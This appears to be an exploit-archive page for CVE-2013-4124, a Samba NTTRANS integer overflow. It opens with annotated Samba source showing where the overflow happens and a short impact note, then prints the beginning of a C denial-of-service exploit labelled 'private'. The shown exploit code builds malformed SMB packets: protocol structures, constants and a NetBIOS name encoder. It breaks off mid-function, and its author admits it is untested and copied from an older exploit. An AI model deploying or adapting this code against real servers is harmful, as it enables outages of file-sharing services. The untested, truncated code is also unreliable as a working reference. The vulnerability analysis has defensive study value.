Home / exploits Samba nttrans Reply Integer Overflow Vulnerability
Posted on 23 August 2013
<pre>[security bug analyze] smbd/nttrans.c ---- snip ---- snip ---- snip ---- snip ---- 971 /**************************************************************************** 972 Read a list of EA names and data from an incoming data buffer. Create an ea_list with them. 973 ****************************************************************************/ 974 EA names, data from samba incoming buffer! 975 struct ea_list *read_nttrans_ea_list(TALLOC_CTX *ctx, const char *pdata, size_t data_size) // *pdata is inject vector 976 { 977 struct ea_list *ea_list_head = NULL; 978 size_t offset = 0; // unisigned 979 980 if (data_size < 4) { 981 return NULL; 982 } 983 984 while (offset + 4 <= data_size) { // XXX (3) if offset is wrap up then it enters the loop continuly 985 size_t next_offset = IVAL(pdata,offset); // unsigned XXX (1) if next_offset from pdata pointer is much large value then to lead integer wrap! // XXX (4) may memory corruption point! if offset is wrap up then second argv pointer(pdata+offset+4) pointers around zero memory then smb dos! 986 struct ea_list *eal = read_ea_list_entry(ctx, pdata + offset + 4, data_size - offset - 4, NULL); 987 988 if (!eal) { 989 return NULL; 990 } 991 992 DLIST_ADD_END(ea_list_head, eal, struct ea_list *); 993 if (next_offset == 0) { 994 break; 995 } 996 997 /* Integer wrap protection for the increment. */ // XXX patch code 998 if (offset + next_offset < offset) { 999 break; 1000 } 1001 1002 offset += next_offset; // XXX (2) if next_offset is large value then offset is wrap! 1003 1004 /* Integer wrap protection for while loop. */ // XXX patch code 1005 if (offset + 4 < offset) { 1006 break; 1007 } 1008 1009 } 1010 1011 return ea_list_head; 1012 } ---- snip ---- snip ---- snip ---- snip ---- ---- snip ---- snip ---- snip ---- snip ---- 1014 /**************************************************************************** 1015 Reply to a NT_TRANSACT_CREATE call (needs to process SD's). 1016 ****************************************************************************/ 1017 1018 static void call_nt_transact_create(connection_struct *conn, 1019 struct smb_request *req, 1020 uint16 **ppsetup, uint32 setup_count, 1021 char **ppparams, uint32 parameter_count, 1022 char **ppdata, uint32 data_count, 1023 uint32 max_data_count) 1024 { ... 1148 /* We have already checked that ea_len <= data_count here. */ 1149 ea_list = read_nttrans_ea_list(talloc_tos(), data + sd_len, 1150 ea_len); ---- snip ---- snip ---- snip ---- snip ---- ---- snip ---- snip ---- snip ---- snip ---- 2639 static void handle_nttrans(connection_struct *conn, 2640 struct trans_state *state, 2641 struct smb_request *req) 2642 { ... 2651 /* Now we must call the relevant NT_TRANS function */ 2652 switch(state->call) { 2653 case NT_TRANSACT_CREATE: // NT_TRANSACT_CREATE! 2654 { 2655 START_PROFILE(NT_transact_create); 2656 call_nt_transact_create( 2657 conn, req, 2658 &state->setup, state->setup_count, 2659 &state->param, state->total_param, 2660 &state->data, state->total_data, 2661 state->max_data_return); 2662 END_PROFILE(NT_transact_create); 2663 break; 2664 } ---- snip ---- snip ---- snip ---- snip ---- ---- snip ---- snip ---- snip ---- snip ---- 2770 /**************************************************************************** 2771 Reply to a SMBNTtrans. 2772 ****************************************************************************/ 2773 2774 void reply_nttrans(struct smb_request *req) // smb_request! 2775 { ... 2945 if ((state->received_data == state->total_data) && 2946 (state->received_param == state->total_param)) { 2947 handle_nttrans(conn, state, req); ---- snip ---- snip ---- snip ---- snip ---- [exploitability] * keywords: - samba incoming data - EA names - data - 0xf1000000 - SMB NTTRANS - Samba reply_nttrans() Remote Root Exploit (http://www.securiteam.com/exploits/5TP0M2AAKS.html) - SMB_COM_NT_TRANSACT(0xa0) = NTtrans (32-bit field) - SMBtrans - http://ubiqx.org/cifs/SMB.html The security bug is remote dos to a daemon, the impact is exist even though it's exploited on local network. If large local network exist and many samba on the network, security risk is exist. I assign the dos impact to medium, and the apache or wuftpd dos to high because they are can be exploited on internet /* !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! CVE-2013-4124 samba remote dos private exploit ./samba_nttrans_exploit [target ip addr] * ... test ...: I didn't test for the exploit, I copied another samba nttrans exploit in 2003 that http://www.securiteam.co m/exploits/5TP0M2AAKS.html. It should be works! the exploit send malformed nttrans smb packet with large value of data offset to cause integer wrap in the vulnerable function of read_nttrns_ea_list I left an article that analyzed it !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! PRIVATE !!!!! x90c */ #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <errno.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <ctype.h> #include <signal.h> typedef unsigned char uint8; typedef unsigned short uint16; typedef unsigned long uint32; struct variable_data_header { uint8 wordcount, bytecount[2]; }; struct nbt_session_header { uint8 type, flags, len[2]; }; struct smb_base_header { uint8 protocol[4], command, errorclass, reserved, errorcode[2]; uint8 flags; uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2]; }; struct negprot_reply_header { uint8 wordcount; uint8 dialectindex[2]; uint8 securitymode; uint16 maxmpxcount, maxvccount; uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh; uint16 timezone; uint8 keylen; uint16 bytecount; }; struct sesssetupx_request_header { uint8 wordcount, command, reserved; uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2]; uint8 sessionid[4]; uint8 ipasswdlen[2], passwdlen[2]; uint8 reserved2[4], capabilities[4]; }; struct sesssetupx_reply_header { uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2]; }; struct tconx_request_header { uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2]; }; struct tconx_reply_header { uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2]; }; struct nttrans_primary_request_header { uint8 wordcount; uint8 maxsetupcount; uint8 flags[2]; uint8 totalparamcount[4]; uint8 totaldatacount[4]; uint8 maxparamcount[4]; uint8 maxdatacount[4]; uint8 paramcount[4]; uint8 paramoffset[4]; uint8 datacount[4]; uint8 dataoffset[4]; // XXXX 0xf000000 uint8 setupcount; uint8 function[2]; uint8 bytecount[2]; }; #define SMB_NEGPROT 0x72 #define SMB_SESSSETUPX 0x73 #define SMB_TCONX 0x75 #define SMB_TRANS2 0x32 #define SMB_NTTRANS 0xA0 #define SMB_NTTRANSCREATE 0x01 #define SMB_TRANS2OPEN 0x00 #define SMB_SESSIONREQ 0x81 #define SMB_SESSION 0x00 uint32 sessionid, PARAMBASE = 0x81c0000; char *tconx_servername; int tid, pid, uid; #define STACKBOTTOM 0xbfffffff #define STACKBASE 0xbfffd000 #define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE)) char *netbios_encode_name(char *name, int type) { char plainname[16], c, *encoded, *ptr; int i, len = strlen(name); if ((encoded = malloc(34)) == NULL) { fprintf(stderr, "malloc() failed "); exit(-1); } ptr = encoded; strncpy(plainname, name, 15); *ptr++ = 0x20; for (i = 0; i < 16; i++) { if (i == 15) c = type; else { if (i < len) c = toupper(plainname[i]); else c = 0x20; } *ptr++ = (((c >> 4) & 0xf) + 0x41); *ptr++ = ((c & 0xf) + 0x41); } *ptr = '
